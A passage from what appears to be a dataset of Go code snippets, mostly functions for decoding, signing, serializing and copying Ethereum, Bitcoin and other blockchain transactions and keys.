err\n\t\t}\n\n\t\tsignature, err := NewEIP2718Signature(chainId, r, s, v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsender, err := signature.Recover(signingHash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\traw, err := t.RawRepresentation()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tt.Hash = raw.Hash()\n\t\tt.From = *sender\n\t\treturn nil\n\tcase firstByte == byte(TransactionTypeDynamicFee):\n\t\t// EIP-1559 transaction\n\t\tpayload := \"0x\" + input[4:]\n\t\t// 0x02 || rlp([chainId, nonce, maxPriorityFeePerGas, maxFeePerGas, gasLimit, to, value, data, access_list, signatureYParity, signatureR, signatureS])\n\t\tif err := rlpDecodeList(payload, &chainId, &nonce, &maxPriorityFeePerGas, &maxFeePerGas, &gasLimit, &to, &value, &data, &accessList, &v, &r, &s); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not decode RLP components\")\n\t\t}\n\n\t\tif r.Int64() == 0 && s.Int64() == 0 {\n\t\t\treturn errors.New(\"unsigned transactions not supported\")\n\t\t}\n\n\t\tt.Type = OptionalQuantityFromInt(int(firstByte))\n\t\tt.Nonce = nonce\n\t\tt.MaxPriorityFeePerGas = &maxPriorityFeePerGas\n\t\tt.MaxFeePerGas = &maxFeePerGas\n\t\tt.Gas = gasLimit\n\t\tt.To = to\n\t\tt.Value = value\n\t\tt.Input = data\n\t\tt.AccessList = &accessList\n\t\tt.V = v\n\t\tt.R = r\n\t\tt.S = s\n\t\tt.ChainId = &chainId\n\n\t\tsigningHash, err := t.SigningHash(chainId)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsignature, err := NewEIP2718Signature(chainId, r, s, v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsender, err := signature.Recover(signingHash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\traw, err := t.RawRepresentation()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tt.Hash = raw.Hash()\n\t\tt.From = *sender\n\t\treturn nil\n\tcase firstByte > 0x7f:\n\t\t// In EIP-2718 types larger than 0x7f are reserved since they potentially conflict with legacy RLP encoded\n\t\t// transactions. As such we can attempt to decode any such transactions as legacy format and attempt to\n\t\t// decode the input string as an rlp.Value\n\t\tif err := rlpDecodeList(input, &nonce, &gasPrice, &gasLimit, &to, &value, &data, &v, &r, &s); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not decode RLP components\")\n\t\t}\n\n\t\tif r.Int64() == 0 && s.Int64() == 0 {\n\t\t\treturn errors.New(\"unsigned transactions not supported\")\n\t\t}\n\n\t\t// ... and fill in all our fields with the decoded values\n\t\tt.Nonce = nonce\n\t\tt.GasPrice = &gasPrice\n\t\tt.Gas = gasLimit\n\t\tt.To = to\n\t\tt.Value = value\n\t\tt.Input = data\n\t\tt.V = v\n\t\tt.R = r\n\t\tt.S = s\n\n\t\tsignature, err := NewEIP155Signature(r, s, v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsigningHash, err := t.SigningHash(signature.chainId)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsender, err := signature.Recover(signingHash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\traw, err := t.RawRepresentation()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tt.Hash = raw.Hash()\n\t\tt.From = *sender\n\t\treturn nil\n\tdefault:\n\t\treturn errors.New(\"unsupported transaction type\")\n\t}\n}", "func (c *Corpus) gitHashFromHexStr(s string) GitHash {\n\tif len(s) != 40 {\n\t\tpanic(fmt.Sprintf(\"bogus git hash %q\", s))\n\t}\n\tvar buf [40]byte\n\tcopy(buf[:], s)\n\t_, err := hex.Decode(buf[:20], buf[:]) // aliasing is safe\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"bogus git hash %q: %v\", s, err))\n\t}\n\treturn GitHash(c.strb(buf[:20]))\n}", "func NewTx(from common.Address, to common.Address, amount uint64) Tx {\n\tsignature := [crypto.SignatureLength]byte{}\n\ttimestamp := time.Now().Unix()\n\n\ttx := Tx{\n\t\tfrom,\n\t\tto,\n\t\tamount,\n\t\tcommon.Hash{},\n\t\tsignature,\n\t\tuint64(timestamp),\n\t\t0,\n\t}\n\n\t// get nonce with first bytes at 0\n\ttarget := []byte{0}\n\thash := common.Hash{}\n\tfor {\n\t\thash = tx.calcHash()\n\t\tres := bytes.Compare(hash[0:1], target)\n\t\tif res == 0 {\n\t\t\tbreak\n\t\t}\n\t\ttx.Nonce++\n\t}\n\ttx.Hash = hash\n\n\treturn tx\n}", "func NewSHA256DigestFromHex(hex string) (Digest, error) {\n\tif err := ValidateSHA256(hex); err != nil {\n\t\treturn Digest{}, fmt.Errorf(\"invalid sha256: %s\", err)\n\t}\n\treturn Digest{\n\t\talgo: SHA256,\n\t\thex: hex,\n\t\traw: fmt.Sprintf(\"%s:%s\", SHA256, hex),\n\t}, nil\n}", "func (c BitcoinCoreChain) SignedTx(rawTxHex, wif string, options *ChainsOptions) (string, error) {\n // https://www.experts-exchange.com/questions/29108851/How-to-correctly-create-and-sign-a-Bitcoin-raw-transaction-using-Btcutil-library.html\n tx, err := DecodeBtcTxHex(rawTxHex)\n if err != nil {\n return \"\", fmt.Errorf(\"Fail to decode raw tx %s\", err)\n }\n\n ecPriv, err := btcutil.DecodeWIF(wif)\n if err != nil {\n return \"\", fmt.Errorf(\"Fail to decode wif %s\", err)\n }\n fromAddress, _ := btcutil.DecodeAddress(options.From, c.Mode)\n subscript, _ := txscript.PayToAddrScript(fromAddress)\n for i, txIn := range tx.MsgTx().TxIn {\n if txIn.SignatureScript, err = txscript.SignatureScript(tx.MsgTx(), i, subscript, txscript.SigHashAll, ecPriv.PrivKey, true); err != nil{\n return \"\", fmt.Errorf(\"SignatureScript %s\", err)\n }\n }\n\n //Validate signature\n flags := txscript.StandardVerifyFlags\n vm, err := txscript.NewEngine(subscript, tx.MsgTx(), 0, flags, nil, nil, options.VinAmount)\n if err != nil {\n return \"\", fmt.Errorf(\"Txscript.NewEngine %s\", err)\n }\n if err := vm.Execute(); err != nil {\n return \"\", fmt.Errorf(\"Fail to sign tx %s\", err)\n }\n\n // txToHex\n buf := bytes.NewBuffer(make([]byte, 0, tx.MsgTx().SerializeSize()))\n tx.MsgTx().Serialize(buf)\n txHex := hex.EncodeToString(buf.Bytes())\n return txHex, nil\n}", "func RawTxToEthTx(clientCtx client.Context, bz []byte) (*evmtypes.MsgEthereumTx, error) {\n\ttx, err := clientCtx.TxConfig.TxDecoder()(bz)\n\tif err != nil {\n\t\treturn nil, sdkerrors.Wrap(sdkerrors.ErrJSONUnmarshal, err.Error())\n\t}\n\n\tethTx, ok := tx.(*evmtypes.MsgEthereumTx)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid transaction type %T, expected %T\", tx, evmtypes.MsgEthereumTx{})\n\t}\n\treturn ethTx, nil\n}", "func NewPubKeyFromHex(pk string) (res crypto.PubKey) {\n\tpkBytes, err := hex.DecodeString(pk)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tvar pkEd ed25519.PubKeyEd25519\n\tcopy(pkEd[:], pkBytes)\n\treturn pkEd\n}", "func NewPublicKeyFromHex(hex string) (PublicKey, error) {\n\trawKey, err := hexutil.Decode(hex)\n\tif err != nil {\n\t\treturn PublicKey{}, err\n\t}\n\treturn NewPublicKeyFromBytes(rawKey)\n}", "func NewMsgTransactionNotFound(id *externalapi.DomainTransactionID) *MsgTransactionNotFound {\n\treturn &MsgTransactionNotFound{\n\t\tID: id,\n\t}\n}", "func TestTxSerialize(t *testing.T) {\n\tnoTx := NewNativeMsgTx(1, nil, nil)\n\tnoTxEncoded := []byte{\n\t\t0x01, 0x00, 0x00, 0x00, // Version\n\t\t0x00, // Varint for number of input transactions\n\t\t0x00, // Varint for number of output transactions\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Lock time\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, // Sub Network ID\n\t}\n\n\tregistryTx := NewRegistryMsgTx(1, nil, nil, 16)\n\tregistryTxEncoded := []byte{\n\t\t0x01, 0x00, 0x00, 0x00, // Version\n\t\t0x00, // Varint for number of input transactions\n\t\t0x00, // Varint for number of output transactions\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Lock time\n\t\t0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, // Sub Network ID\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Gas\n\t\t0x77, 0x56, 0x36, 0xb4, 0x89, 0x32, 0xe9, 0xa8,\n\t\t0xbb, 0x67, 0xe6, 0x54, 0x84, 0x36, 0x93, 0x8d,\n\t\t0x9f, 0xc5, 0x62, 0x49, 0x79, 0x5c, 0x0d, 0x0a,\n\t\t0x86, 0xaf, 0x7c, 0x5d, 0x54, 0x45, 0x4c, 0x4b, // Payload hash\n\t\t0x08, // Payload length varint\n\t\t0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Payload / Gas limit\n\t}\n\n\tsubnetworkTx := NewSubnetworkMsgTx(1, nil, nil, &subnetworkid.SubnetworkID{0xff}, 5, []byte{0, 1, 2})\n\n\tsubnetworkTxEncoded := []byte{\n\t\t0x01, 0x00, 0x00, 0x00, // Version\n\t\t0x00, // Varint for number of input transactions\n\t\t0x00, // Varint for number of output transactions\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Lock time\n\t\t0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, // Sub Network ID\n\t\t0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Gas\n\t\t0x35, 0xf9, 0xf2, 0x93, 0x0e, 0xa3, 0x44, 0x61,\n\t\t0x88, 0x22, 0x79, 0x5e, 0xee, 0xc5, 0x68, 0xae,\n\t\t0x67, 0xab, 0x29, 0x87, 0xd8, 0xb1, 0x9e, 0x45,\n\t\t0x91, 0xe1, 0x05, 0x27, 0xba, 0xa1, 0xdf, 0x3d, // Payload hash\n\t\t0x03, // Payload length varint\n\t\t0x00, 0x01, 0x02, // Payload\n\t}\n\n\ttests := []struct {\n\t\tname string\n\t\tin *MsgTx // Message to encode\n\t\tout *MsgTx // Expected decoded message\n\t\tbuf []byte // Serialized data\n\t\tscriptPubKeyLocs []int // Expected output script locations\n\t}{\n\t\t// No transactions.\n\t\t{\n\t\t\t\"noTx\",\n\t\t\tnoTx,\n\t\t\tnoTx,\n\t\t\tnoTxEncoded,\n\t\t\tnil,\n\t\t},\n\n\t\t// Registry Transaction.\n\t\t{\n\t\t\t\"registryTx\",\n\t\t\tregistryTx,\n\t\t\tregistryTx,\n\t\t\tregistryTxEncoded,\n\t\t\tnil,\n\t\t},\n\n\t\t// Sub Network Transaction.\n\t\t{\n\t\t\t\"subnetworkTx\",\n\t\t\tsubnetworkTx,\n\t\t\tsubnetworkTx,\n\t\t\tsubnetworkTxEncoded,\n\t\t\tnil,\n\t\t},\n\n\t\t// Multiple transactions.\n\t\t{\n\t\t\t\"multiTx\",\n\t\t\tmultiTx,\n\t\t\tmultiTx,\n\t\t\tmultiTxEncoded,\n\t\t\tmultiTxScriptPubKeyLocs,\n\t\t},\n\t}\n\n\tt.Logf(\"Running %d tests\", len(tests))\n\tfor i, test := range tests {\n\t\t// Serialize the transaction.\n\t\tvar buf bytes.Buffer\n\t\terr := test.in.Serialize(&buf)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Serialize %s: error %v\", test.name, err)\n\t\t\tcontinue\n\t\t}\n\t\tif !bytes.Equal(buf.Bytes(), test.buf) {\n\t\t\tt.Errorf(\"Serialize %s:\\n got: %s want: %s\", test.name,\n\t\t\t\tspew.Sdump(buf.Bytes()), spew.Sdump(test.buf))\n\t\t\tcontinue\n\t\t}\n\n\t\t// Deserialize the transaction.\n\t\tvar tx MsgTx\n\t\trbuf := bytes.NewReader(test.buf)\n\t\terr = tx.Deserialize(rbuf)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Deserialize #%d error %v\", i, err)\n\t\t\tcontinue\n\t\t}\n\t\tif !reflect.DeepEqual(&tx, test.out) {\n\t\t\tt.Errorf(\"Deserialize #%d\\n got: %s want: %s\", i,\n\t\t\t\tspew.Sdump(&tx), spew.Sdump(test.out))\n\t\t\tcontinue\n\t\t}\n\n\t\t// Ensure the public key script locations are accurate.\n\t\tscriptPubKeyLocs := test.in.ScriptPubKeyLocs()\n\t\tif !reflect.DeepEqual(scriptPubKeyLocs, test.scriptPubKeyLocs) {\n\t\t\tt.Errorf(\"ScriptPubKeyLocs #%d\\n got: %s want: %s\", i,\n\t\t\t\tspew.Sdump(scriptPubKeyLocs),\n\t\t\t\tspew.Sdump(test.scriptPubKeyLocs))\n\t\t\tcontinue\n\t\t}\n\t\tfor j, loc := range scriptPubKeyLocs {\n\t\t\twantScriptPubKey := test.in.TxOut[j].ScriptPubKey\n\t\t\tgotScriptPubKey := test.buf[loc : loc+len(wantScriptPubKey)]\n\t\t\tif !bytes.Equal(gotScriptPubKey, wantScriptPubKey) {\n\t\t\t\tt.Errorf(\"ScriptPubKeyLocs #%d:%d\\n unexpected \"+\n\t\t\t\t\t\"script got: %s want: %s\", i, j,\n\t\t\t\t\tspew.Sdump(gotScriptPubKey),\n\t\t\t\t\tspew.Sdump(wantScriptPubKey))\n\t\t\t}\n\t\t}\n\t}\n}", "func TransactionReceiptFromBytes(data []byte) (TransactionReceipt, error) {\n\tif data == nil {\n\t\treturn TransactionReceipt{}, errByteArrayNull\n\t}\n\tpb := services.TransactionGetReceiptResponse{}\n\terr := protobuf.Unmarshal(data, &pb)\n\tif err != nil {\n\t\treturn TransactionReceipt{}, err\n\t}\n\n\treturn _TransactionReceiptFromProtobuf(&pb, nil), nil\n}", "func (s *SendTx) TxBytes() ([]byte, error) {\n\t// TODO: verify it is signed\n\n\t// Code and comment from: basecoin/cmd/basecoin/commands/tx.go\n\t// Don't you hate having to do this?\n\t// How many times have I lost an hour over this trick?!\n\ttxBytes := wire.BinaryBytes(struct {\n\t\tbc.Tx `json:\"unwrap\"`\n\t}{s.Tx})\n\treturn txBytes, nil\n}", "func (a *Ethereum) Tx(hashstr string) (Tx, error) {\n\tvar (\n\t\thash = common.HexToHash(hashstr)\n\t\tctx, _ = context.WithDeadline(context.Background(), time.Now().Add(time.Second*30))\n\t\ttx, isPending, err = ethclient.NewClient(a.rpcclient).TransactionByHash(ctx, hash)\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif isPending {\n\n\t}\n\treturn EtherTx(*tx), errors.New(\"is pending\")\n}", "func ParseOpsFromTxInputHex(txInputHex string) (string, error) {\n\tdata, err := hexutil.Decode(txInputHex)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif len(data) < 4 {\n\t\treturn \"\", fmt.Errorf(\"Invalid data length\")\n\t}\n\tmethod, err := Dex2Abi.MethodById(data[0:4])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif method.Name != \"exeSequence\" {\n\t\treturn \"\", fmt.Errorf(\"Unexpected method name: %v\", method.Name)\n\t}\n\n\tvar input ExeSequenceInput\n\terr = method.Inputs.Unpack(&input, data[4:])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif len(input.Body) != len(data)/32-1-2 /*num-u256s - header - body-array-metadata*/ {\n\t\treturn \"\", fmt.Errorf(\"Expecting len(Body) %v, but got %v\", len(data)/32-1-2, len(input.Body))\n\t}\n\treturn ParseOpsFromU256(input.Header, input.Body)\n}", "func NewTransaction(tx *evmtypes.MsgEthereumTx, txHash, blockHash common.Hash, blockNumber, index uint64) (*Transaction, error) {\n\t// Verify signature and retrieve sender address\n\tfrom, err := tx.VerifySig(tx.ChainID())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trpcTx := &Transaction{\n\t\tFrom: from,\n\t\tGas: hexutil.Uint64(tx.Data.GasLimit),\n\t\tGasPrice: (*hexutil.Big)(tx.Data.Price.BigInt()),\n\t\tHash: txHash,\n\t\tInput: hexutil.Bytes(tx.Data.Payload),\n\t\tNonce: hexutil.Uint64(tx.Data.AccountNonce),\n\t\tTo: tx.To(),\n\t\tValue: (*hexutil.Big)(tx.Data.Amount.BigInt()),\n\t\tV: (*hexutil.Big)(new(big.Int).SetBytes(tx.Data.V)),\n\t\tR: (*hexutil.Big)(new(big.Int).SetBytes(tx.Data.R)),\n\t\tS: (*hexutil.Big)(new(big.Int).SetBytes(tx.Data.S)),\n\t}\n\n\tif blockHash != (common.Hash{}) {\n\t\trpcTx.BlockHash = &blockHash\n\t\trpcTx.BlockNumber = (*hexutil.Big)(new(big.Int).SetUint64(blockNumber))\n\t\trpcTx.TransactionIndex = (*hexutil.Uint64)(&index)\n\t}\n\n\treturn rpcTx, nil\n}", "func BytesFromHex(input string) []byte {\n\ts := strings.Map(func(ch rune) rune {\n\t\tif strings.ContainsRune(\"0123456789ABCDEF\", ch) {\n\t\t\treturn ch\n\t\t}\n\t\treturn -1\n\t}, input)\n\tdecoded, e := hex.DecodeString(s)\n\tif e != nil {\n\t\tpanic(fmt.Sprintf(\"hex.DecodeString error %v\", e))\n\t}\n\treturn decoded\n}", "func (app *DemocoinApp) txDecoder(txBytes []byte) (sdk.Tx, sdk.Error) {\n\tvar tx = sdk.StdTx{}\n\n\tif len(txBytes) == 0 {\n\t\treturn nil, sdk.ErrTxDecode(\"txBytes are empty\")\n\t}\n\n\t// StdTx.Msg is an interface. The concrete types\n\t// are registered by MakeTxCodec in bank.RegisterWire.\n\terr := app.cdc.UnmarshalBinary(txBytes, &tx)\n\tif err != nil {\n\t\treturn nil, sdk.ErrTxDecode(\"\").TraceCause(err, \"\")\n\t}\n\treturn tx, nil\n}", "func NewTx(validateNum [2]int, par [32]byte, validate [2][32]byte, income [32]byte, sender string, senderNum int, value int, receiver string, verification bool) *Transaction {\n\tsenderBytes := []byte(sender)\n\tvar senderBytes34 [34]byte\n\tcopy(senderBytes34[:], senderBytes)\n\n\treceiverBytes := []byte(receiver)\n\tvar receiverBytes34 [34]byte\n\tcopy(receiverBytes34[:], receiverBytes)\n\n\n\ttx := &Transaction{txNum, validateNum, [32]byte{}, par, validate,\n\t\tincome,senderBytes34, senderNum, value, receiverBytes34,\n\t\t0, time.Now().Unix(), [64]byte{}, verification, 0}\n\ttxNum ++\n\treturn tx\n}", "func PvkFromHex(pvkHex string) (PrivateKey, ed25519.PublicKey, error) {\n\tk, err := hex.DecodeString(pvkHex)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tpvk := PrivateKey(k)\n\treturn pvk, PublicKeyFromPvk(pvk), nil\n}", "func NewFooTransactor(address common.Address, transactor bind.ContractTransactor) (*FooTransactor, error) {\n\tcontract, err := bindFoo(address, nil, transactor, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &FooTransactor{contract: contract}, nil\n}", "func HashFromHex(algo Type, src string) Hash {\n\tsize := hex.DecodedLen(len(src))\n\tvar result Encoded\n\t// multihash: hash codec\n\tn := binary.PutUvarint(result[:], algo.Code())\n\t// multihash: digest size\n\tn += binary.PutUvarint(result[n:], uint64(size))\n\t// multihash: decode hex digest\n\thex.Decode(result[n:], []byte(src))\n\treturn customHash{code: algo, size: size, start: n, body: result}\n}", "func convertRawTransaction(rawTx string) (*bitcoin.Transaction, error) {\n\tt, err := decodeTransaction(rawTx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to decode a transaction: [%w]\", err)\n\t}\n\n\tresult := &bitcoin.Transaction{\n\t\tVersion: int32(t.Version),\n\t\tLocktime: t.LockTime,\n\t}\n\n\tfor _, vin := range t.TxIn {\n\t\tinput := &bitcoin.TransactionInput{\n\t\t\tOutpoint: &bitcoin.TransactionOutpoint{\n\t\t\t\tTransactionHash: bitcoin.Hash(vin.PreviousOutPoint.Hash),\n\t\t\t\tOutputIndex: vin.PreviousOutPoint.Index,\n\t\t\t},\n\t\t\tSignatureScript: vin.SignatureScript,\n\t\t\tWitness: vin.Witness,\n\t\t\tSequence: vin.Sequence,\n\t\t}\n\n\t\tresult.Inputs = append(result.Inputs, input)\n\t}\n\n\tfor _, vout := range t.TxOut {\n\t\toutput := &bitcoin.TransactionOutput{\n\t\t\tValue: vout.Value,\n\t\t\tPublicKeyScript: vout.PkScript,\n\t\t}\n\n\t\tresult.Outputs = append(result.Outputs, output)\n\t}\n\n\treturn result, nil\n}", "func NewInvokeTx(vmcode stypes.VMCode) *Transaction {\n\t//TODO: check arguments\n\tinvokeCodePayload := &payload.InvokeCode{\n\t\tCode: vmcode,\n\t}\n\n\treturn &Transaction{\n\t\tTxType: Invoke,\n\t\tPayload: invokeCodePayload,\n\t\tAttributes: nil,\n\t}\n}", "func NewPublicKeyFromHex(s string) (*PublicKey, error) {\n\tb, err := hex.DecodeString(s)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot decode hex string: %w\", err)\n\t}\n\n\treturn NewPublicKeyFromBytes(b)\n}", "func sendRawTx(eth *thereum.Thereum, msg *rpcMessage) (*rpcMessage, error) {\n\t// unmarshal into temp data structs (passed via json as a slice of a single hex string)\n\tvar hexTx []string\n\terr := json.Unmarshal(msg.Params, &hexTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// ensure that some data was passed throught the rpc msg\n\tif len(hexTx) == 0 {\n\t\treturn nil, errors.New(\"no parameters provided for raw transaction\")\n\t}\n\t// unmarshal the hex bytes into a transaction\n\tvar tx types.Transaction\n\ttxBytes, err := hex.DecodeString(strings.Replace(hexTx[0], \"0x\", \"\", 1))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = rlp.DecodeBytes(txBytes, &tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// add the transaction to thereum\n\terr = eth.AddTx(&tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tout := &rpcMessage{\n\t\tVersion: \"2.0\",\n\t\tID: 1,\n\t\tResult: tx.Hash().Hex(),\n\t}\n\n\treturn out, nil\n}", "func (order *Order) FromBinary(msg []byte) error {\n\treturn proto.Unmarshal(msg, order)\n}", "func MessageFromBytes(bytes []byte) (result *Message, consumedBytes int, err error) {\n\tmarshalUtil := marshalutil.New(bytes)\n\tresult, err = MessageFromMarshalUtil(marshalUtil)\n\tif err != nil {\n\t\treturn\n\t}\n\tconsumedBytes = marshalUtil.ReadOffset()\n\n\tif len(bytes) != consumedBytes {\n\t\terr = xerrors.Errorf(\"consumed bytes %d not equal total bytes %d: %w\", consumedBytes, len(bytes), cerrors.ErrParseBytesFailed)\n\t}\n\treturn\n}", "func (l *Ledger) QueryTransaction(txid []byte) (*pb.Transaction, error) {\n\ttable := l.ConfirmedTable\n\tpbTxBuf, kvErr := table.Get(txid)\n\tif kvErr != nil {\n\t\tif def.NormalizedKVError(kvErr) == def.ErrKVNotFound {\n\t\t\treturn nil, ErrTxNotFound\n\t\t}\n\t\treturn nil, kvErr\n\t}\n\trealTx := &pb.Transaction{}\n\tparserErr := proto.Unmarshal(pbTxBuf, realTx)\n\tif parserErr != nil {\n\t\treturn nil, parserErr\n\t}\n\treturn realTx, nil\n}", "func (msg *MsgTx) Copy() *MsgTx {\n\t// Create new tx and start by copying primitive values and making space\n\t// for the transaction inputs and outputs.\n\tnewTx := MsgTx{\n\t\tVersion: msg.Version,\n\t\tTxIn: make([]*TxIn, 0, len(msg.TxIn)),\n\t\tTxOut: make([]*TxOut, 0, len(msg.TxOut)),\n\t\tLockTime: msg.LockTime,\n\t}\n\n\t// Deep copy the old TxIn data.\n\tfor _, oldTxIn := range msg.TxIn {\n\t\t// Deep copy the old previous outpoint.\n\t\toldOutPoint := oldTxIn.PreviousOutPoint\n\t\tnewOutPoint := OutPoint{}\n\t\tnewOutPoint.Hash.SetBytes(oldOutPoint.Hash[:])\n\t\tnewOutPoint.Index = oldOutPoint.Index\n\n\t\t// Deep copy the old signature script.\n\t\tvar newScript []byte\n\t\toldScript := oldTxIn.SignatureScript\n\t\toldScriptLen := len(oldScript)\n\t\tif oldScriptLen > 0 {\n\t\t\tnewScript = make([]byte, oldScriptLen)\n\t\t\tcopy(newScript, oldScript[:oldScriptLen])\n\t\t}\n\n\t\t// Create new txIn with the deep copied data.\n\t\tnewTxIn := TxIn{\n\t\t\tPreviousOutPoint: newOutPoint,\n\t\t\tSignatureScript: newScript,\n\t\t\tSequence: oldTxIn.Sequence,\n\t\t}\n\n\t\t// Finally, append this fully copied txin.\n\t\tnewTx.TxIn = append(newTx.TxIn, &newTxIn)\n\t}\n\n\t// Deep copy the old TxOut data.\n\tfor _, oldTxOut := range msg.TxOut {\n\t\t// Deep copy the old PkScript\n\t\tvar newScript []byte\n\t\toldScript := oldTxOut.PkScript\n\t\toldScriptLen := len(oldScript)\n\t\tif oldScriptLen > 0 {\n\t\t\tnewScript = make([]byte, oldScriptLen)\n\t\t\tcopy(newScript, oldScript[:oldScriptLen])\n\t\t}\n\n\t\t// Deep copy the old asset\n\t\tnewAsset := Asset{}\n\t\tnewAsset.Property = oldTxOut.Asset.Property\n\t\tnewAsset.Id = oldTxOut.Asset.Id\n\n\t\t// Deep copy the old data\n\t\tvar newData []byte\n\t\toldData := oldTxOut.Data\n\t\toldDataLen := len(oldData)\n\t\tif oldDataLen > 0 {\n\t\t\tnewData = make([]byte, oldDataLen)\n\t\t\tcopy(newData, oldData[:oldDataLen])\n\t\t}\n\n\t\t// Create new txOut with the deep copied data and append it to\n\t\t// new Tx.\n\t\tnewTxOut := TxOut{\n\t\t\tValue: oldTxOut.Value,\n\t\t\tPkScript: newScript,\n\t\t\tAsset: newAsset,\n\t\t\tData: newData,\n\t\t}\n\t\tnewTx.TxOut = append(newTx.TxOut, &newTxOut)\n\t}\n\n\tnewTx.TxContract = msg.TxContract\n\treturn &newTx\n}", "func (m *Message) TXA() (*TXA, error) {\n\tps, err := m.Parse(\"TXA\")\n\tpst, ok := ps.(*TXA)\n\tif ok {\n\t\treturn pst, err\n\t}\n\treturn nil, err\n}", "func MinterDefinitionTransactionFromTransaction(tx types.Transaction) (MinterDefinitionTransaction, error) {\n\tif tx.Version != TransactionVersionMinterDefinition {\n\t\treturn MinterDefinitionTransaction{}, fmt.Errorf(\n\t\t\t\"a minter definition transaction requires tx version %d\",\n\t\t\tTransactionVersionCoinCreation)\n\t}\n\treturn MinterDefinitionTransactionFromTransactionData(types.TransactionData{\n\t\tCoinInputs: tx.CoinInputs,\n\t\tCoinOutputs: tx.CoinOutputs,\n\t\tBlockStakeInputs: tx.BlockStakeInputs,\n\t\tBlockStakeOutputs: tx.BlockStakeOutputs,\n\t\tMinerFees: tx.MinerFees,\n\t\tArbitraryData: tx.ArbitraryData,\n\t\tExtension: tx.Extension,\n\t})\n}", "func MinterDefinitionTransactionFromTransaction(tx types.Transaction) (MinterDefinitionTransaction, error) {\n\tif tx.Version != TransactionVersionMinterDefinition {\n\t\treturn MinterDefinitionTransaction{}, fmt.Errorf(\n\t\t\t\"a minter definition transaction requires tx version %d\",\n\t\t\tTransactionVersionCoinCreation)\n\t}\n\treturn MinterDefinitionTransactionFromTransactionData(types.TransactionData{\n\t\tCoinInputs: tx.CoinInputs,\n\t\tCoinOutputs: tx.CoinOutputs,\n\t\tBlockStakeInputs: tx.BlockStakeInputs,\n\t\tBlockStakeOutputs: tx.BlockStakeOutputs,\n\t\tMinerFees: tx.MinerFees,\n\t\tArbitraryData: tx.ArbitraryData,\n\t\tExtension: tx.Extension,\n\t})\n}", "func (ec *Client) TransactionByHash(ctx context.Context, hash common.Hash) (tx *rpcTx, err error) {\n\tvar raw json.RawMessage\n\n\terr = ec.c.CallContext(ctx, &raw, \"eth_getTransactionByHash\", hash)\n\tif err != nil {\n\t\treturn nil, err\n\n\t} else if len(raw) == 0 {\n\t\treturn nil, ethereum.NotFound\n\n\t}\n\n\tif err := json.Unmarshal(raw, &tx); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// fmt.Printf(\"raw tx is %v \\n\", string(raw))\n\n\treturn tx, nil\n}", "func DecodeTx(na ipld.NodeAssembler, tx types.Transaction) error {\n\tma, err := na.BeginMap(14)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, upFunc := range requiredUnpackFuncs {\n\t\tif err := upFunc(ma, tx); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid DAG-ETH Transaction binary (%v)\", err)\n\t\t}\n\t}\n\treturn ma.Finish()\n}", "func NewMsgBlockTxns(blockHash chainhash.Hash, txs []*MsgTx) *MsgBlockTxns {\n\treturn &MsgBlockTxns{BlockHash: blockHash, Txs: txs}\n}", "func (m HexMutation) Tx() (*Tx, error) {\n\tif _, ok := m.driver.(*txDriver); !ok {\n\t\treturn nil, fmt.Errorf(\"ent: mutation is not running in a transaction\")\n\t}\n\ttx := &Tx{config: m.config}\n\ttx.init()\n\treturn tx, nil\n}", "func (dcr *ExchangeWallet) signTx(baseTx *wire.MsgTx) (*wire.MsgTx, error) 